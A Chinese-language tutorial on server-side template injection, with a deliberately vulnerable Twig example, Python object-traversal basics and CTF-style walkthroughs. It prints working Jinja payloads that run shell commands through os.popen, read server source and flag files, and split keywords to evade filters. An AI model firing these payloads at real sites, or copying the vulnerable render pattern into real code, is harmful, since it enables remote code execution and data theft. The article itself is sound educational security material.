安全漏洞之SSTI模板注入深入解析
引文
上篇文章帶來了反序列化漏洞的知識,還沒講過的基礎漏洞類型已經(jīng)很少了,今天給大家?guī)淼闹R點是SSTI模板注入,提到注入大家首先想到的肯定是SQL注入,而SSTI模板注入和SQL注入其實也存在著類似的點,接下來就詳細給大家講解一下。
簡介
服務端接收了用戶的輸入,將其作為 Web 應用模板內(nèi)容的一部分,在進行目標編譯渲染的過程中,執(zhí)行了用戶插入的惡意內(nèi)容,因而可能導致了敏感信息泄露、代碼執(zhí)行、GetShell 等問題。
原理
我們先引入一下服務器模板,頁面上的數(shù)據(jù)需要不斷更新,即為渲染。我們簡單舉一個例子:使用 Twig 模版引擎渲染頁面,其中模版含有 {{name}}
變量,其模版變量值來自于 GET 請求參數(shù) $_GET["name"]
,如果渲染的模版內(nèi)容受到用戶的控制,代碼如下:
$twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {$_GET['name']}"); // 將用戶輸入作為模版內(nèi)容的一部分 echo $output;
可以看到上面就是個漏洞點,服務端相信了用戶的輸出。
SSTI類型
根據(jù)模板類型的不同,包裹變量的標識符也大有不同,我們常見的模板引擎有,我們可以根據(jù)返回值的類型來判斷不同的模板引擎??梢愿鶕?jù)下圖來進行判斷:
基礎語法
class:查看變量所屬的類,根據(jù)前面的變量形式可以得到其所屬的類。
>>> ''.__class__ <class 'str'> >>> ().__class__ <class 'tuple'> >>> {}.__class__ <class 'dict'> >>> [].__class__ <class 'list'>
bases:查看類所屬的基類
>>> ''.__class__.__bases__ (<class 'object'>,) >>> ().__class__.__bases__ (<class 'object'>,) >>> {}.__class__.__bases__ (<class 'object'>,) >>> [].__class__.__bases__ (<class 'object'>,)
可以看到上面例子,基類都歸屬于object。
subclasses:查看當前的子類,格式:
變量.__class__.__bases__[0].__subclasses__()
現(xiàn)在我們拿到了所有繼承Object
類的子類的引用,在調(diào)用這些子類的方法,去進行我們的模板注入,講一下利用的前置知識。
init
__init__
用于初始化類,意思就是拿到一個類之后要使用__init__
之后我們才可以調(diào)用里面的函數(shù)和屬性 。
global
返回當前位置的全部模塊,方法和全局變量,配合著__init__
使用 。
builtins
內(nèi)建名稱空間,內(nèi)建名稱空間有許多名字到對象之間映射,而這些名字其實就是內(nèi)建函數(shù)的名稱,對象就是這些內(nèi)建函數(shù)本身。即里面有很多常用的函數(shù)。
import
動態(tài)加載類和函數(shù),也就是導入模塊,用于導入os模塊__import__('os').popen('ls').read()]。
例題
學習到現(xiàn)在,我們可以嘗試做一個題目來鞏固一下:
先查找有沒有可用的子類,遍歷發(fā)現(xiàn)<class 'warnings.catch_warnings'>
利用這個子類可以查看目錄:
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')
讀取server.py文件
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')
得到flag。
過濾器
當然真正的題目不可能會這么簡單,里面會包含著過濾函數(shù),過濾特殊字符等操作,接下來給大家講講過濾器的知識點。
attr
用于獲取變量,可用于. [] 都被過濾的情況
join
將一個序列拼接成一個字符串,join ('|')將令每一個元素被'|'隔開
lower
將字符串轉(zhuǎn)換為小寫
string
將變量轉(zhuǎn)換為字符串,可以用符號構造出我們可利用的字符串、符號等。
reverse
字符反轉(zhuǎn)
format
格式化字符串
以上就簡單舉了點過濾器的例子與用法,當然上面列舉的只是一小部分,除了這些還有非常多的過濾器,一一列舉是列舉不完的
進階
接下來講一個有點難度的題帶大家加深理解,進去題目發(fā)現(xiàn)是一個如下的解碼加密網(wǎng)站。
用{{7*7}}加密解密得到49確定存在ssti模板注入,回顯是base64編碼的。簡單fuzz后發(fā)現(xiàn)過濾了flag、import、os、eval等關鍵詞。我們構造拆分語句:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
放到解碼區(qū),去解碼得到文件目錄:
進一步拼接去查看flag就OK了,構造最終payload:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
結(jié)語
今天比較詳細的講了SSTI模板注入漏洞的原理以及應用方法,可能剛開始學不太好理解,可以根據(jù)之前SQL注入的思路去理解一下。有興趣的小伙伴可以自己去搭建靶機來進行測試,以上就是SSTI模板注入深入解析的詳細內(nèi)容,更多關于SSTI模板注入的資料請關注腳本之家其它相關文章!
相關文章
跨站式腳本(Cross-SiteScripting)XSS攻擊原理分析
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意用戶的特殊目的。2008-09-09跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景分析
XSS指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意攻擊用戶的特殊目的。這篇文章主要給大家介紹了關于跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景的相關資料,需要的朋友可以參考下。2017-12-12